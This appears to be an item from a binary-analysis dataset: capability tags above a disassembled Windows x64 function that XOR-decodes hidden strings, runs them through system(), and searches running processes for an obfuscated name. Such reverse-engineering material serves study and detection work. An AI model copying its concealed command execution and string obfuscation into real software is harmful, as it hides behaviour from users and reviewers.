Function at 0x140070090
Capabilities:
Encode data using xor
Enumerate processes
Execute command
Terminate process
Terminate process by name

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push r14
push r15
lea rbp, [rsp - 0x1d0]
sub rsp, 0x2d0
mov rax, qword [0x1400e3080]
xor rax, rsp
mov qword [rbp + 0x1c0], rax
mov byte [rsp + 0x20], reloc.WS2_32.dll_send
xor ebx, ebx
mov byte [rsp + 0x21], reloc.WS2_32.dll_recvfrom
movabs r15, 0xe2b3f2fa4f27b179
mov byte [rsp + 0x22], 9
mov r10, r15
mov byte [rsp + 0x23], 0x77
mov r9d, ebx
movzx eax, byte [rsp + 0x20]
lea r14d, [rbx + 0xf]
lea rax, [rsp + 0x20]
sub r10, rax
mov rcx, r9
lea rdx, [rsp + 0x20]
add rdx, r9
and ecx, r14d
cmp rcx, r14
mov rax, r15
cmovae rcx, r14
movsx r8, byte [rdx]
add dl, r10b
shl cl, 2
shr rax, cl
and al, r14b
xor al, dl
xor al, r8b
mov byte [rsp + r9 + 0x20], al
inc r9
cmp r9, 4
jb 0x1400700f1
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x2f8], rdi
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
cmp qword [0x14031f388], rbx
jne 0x14007019e
lea rcx, str.win32u.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
jne 0x140070179
lea rcx, [0x1400d57d8]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rcx, str.win32u.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
je 0x1400701bb
lea rdx, str.NtUserGetHimetricScaleFactorFromPixelLocation
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14031f388], rax
test rax, rax
jne 0x14007019e
mov qword [0x14031f388], rbx
jmp 0x1400701bb
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov edx, eax
call fcn.140062430
xor ecx, ecx
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
cmp rdi, rax
je 0x1400701cf
mov ecx, 0xdac
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov ecx, 0xa549
mov qword [rsp + 0x2f0], rsi
mov edx, 0xa57a
mov eax, 0xa556
mov word [rsp + 0x30], ax
mov r9, rbx
mov eax, 0xa574
movabs r10, 0x5b62787d4bdaa519
mov word [rsp + 0x32], ax
mov r11d, 0x5ae7
mov eax, 0xa56c
mov word [rsp + 0x34], ax
mov eax, 0xa562
mov word [rsp + 0x36], ax
mov eax, 0xa579
mov word [rsp + 0x38], ax
mov eax, 0xa560
mov word [rsp + 0x3a], dx
mov word [rsp + 0x3c], ax
mov eax, 0xa541
mov word [rsp + 0x3e], ax
mov eax, 0xa56f
mov word [rsp + 0x40], ax
mov eax, 0xa542
mov word [rsp + 0x42], cx
mov word [rsp + 0x44], ax
mov eax, 0xa546
mov word [rsp + 0x46], ax
mov eax, 0xa554
mov word [rsp + 0x48], cx
mov word [rsp + 0x4a], ax
mov eax, 0xa501
mov word [rsp + 0x4c], ax
mov eax, 0xa518
mov word [rsp + 0x4e], dx
mov edx, 0xa545
mov word [rsp + 0x50], cx
mov ecx, 0xa55d
mov word [rsp + 0x52], dx
mov word [rsp + 0x54], ax
mov eax, 0xa512
mov word [rsp + 0x56], ax
mov eax, 0xa50a
mov word [rsp + 0x58], ax
mov eax, 0xa570
mov word [rsp + 0x5a], ax
mov eax, 0xa54c
mov word [rsp + 0x5c], ax
mov word [rsp + 0x5e], cx
mov word [rsp + 0x60], ax
mov eax, 0xa552
mov word [rsp + 0x62], dx
mov word [rsp + 0x64], ax
mov eax, 0xa550
mov word [rsp + 0x66], cx
mov word [rsp + 0x68], ax
mov eax, 0xa51e
mov word [rsp + 0x6a], ax
mov eax, 0xa559
mov word [rsp + 0x6c], ax
mov eax, 0xa555
mov word [rsp + 0x6e], dx
mov word [rsp + 0x70], ax
mov eax, 0xa53b
mov word [rsp + 0x72], ax
movzx eax, word [rsp + 0x30]
movzx r8d, word [rsp + r9*2 + 0x30]
mov rcx, r9
and ecx, r14d
movzx eax, r9w
cmp rcx, r14
mov rdx, r10
cmovae rcx, r14
sub ax, r11w
shl cl, 2
shr rdx, cl
and dx, r14w
xor dx, ax
xor dx, r8w
mov word [rsp + r9*2 + 0x30], dx
inc r9
cmp r9, 0x22
jb 0x140070320
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rsi, rax
mov edi, ebx
cmp rax, 0xffffffffffffffff
je 0x1400703ff
xor edx, edx
lea rcx, [rbp - 0x7c]
mov r8d, 0x234
call fcn.1400b89c2
lea rdx, [rbp - 0x80]
mov dword [rbp - 0x80], 0x238
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x1400703f6
lea rdx, [rbp - 0x54]
lea rcx, [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
test eax, eax
jne 0x1400703b9
mov edi, dword [rbp - 0x78]
jmp 0x1400703f6
lea rdx, [rbp - 0x80]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
je 0x1400703f6
nop word [rax + rax]
lea rdx, [rbp - 0x54]
lea rcx, [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
lea rdx, [rbp - 0x80]
mov rcx, rsi
test eax, eax
cmove edi, dword [rbp - 0x78]
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x1400703d0
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [0x14031f628]
mov dword [rdx + 8], edi
mov dword [0x14031f488], edi
mov edx, dword [rdx + 8]
call fcn.140062430
mov rcx, qword [0x14031f628]
mov r9, r15
mov rsi, qword [rsp + 0x2f0]
mov qword [rcx], rax
mov byte [rsp + 0x24], reloc.WS2_32.dll_send
mov byte [rsp + 0x25], reloc.WS2_32.dll_recvfrom
mov byte [rsp + 0x26], 9
mov byte [rsp + 0x27], 0x77
movzx eax, byte [rsp + 0x24]
lea rax, [rsp + 0x24]
sub r9, rax
nop dword [rax]
mov rcx, rbx
lea rdx, [rsp + 0x24]
add rdx, rbx
and ecx, r14d
cmp rcx, r14
mov rax, r15
cmovae rcx, r14
movzx r8d, byte [rdx]
add dl, r9b
shl cl, 2
shr rax, cl
and al, r14b
xor al, dl
xor al, r8b
mov byte [rsp + rbx + 0x24], al
inc rbx
cmp rbx, 4
jb 0x140070450
lea rcx, [rsp + 0x24]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdi, qword [rsp + 0x2f8]
mov rcx, qword [rbp + 0x1c0]
xor rcx, rsp
call fcn.1400b7770
mov rbx, qword [rsp + 0x300]
add rsp, 0x2d0
pop r15
pop r14
pop rbp
ret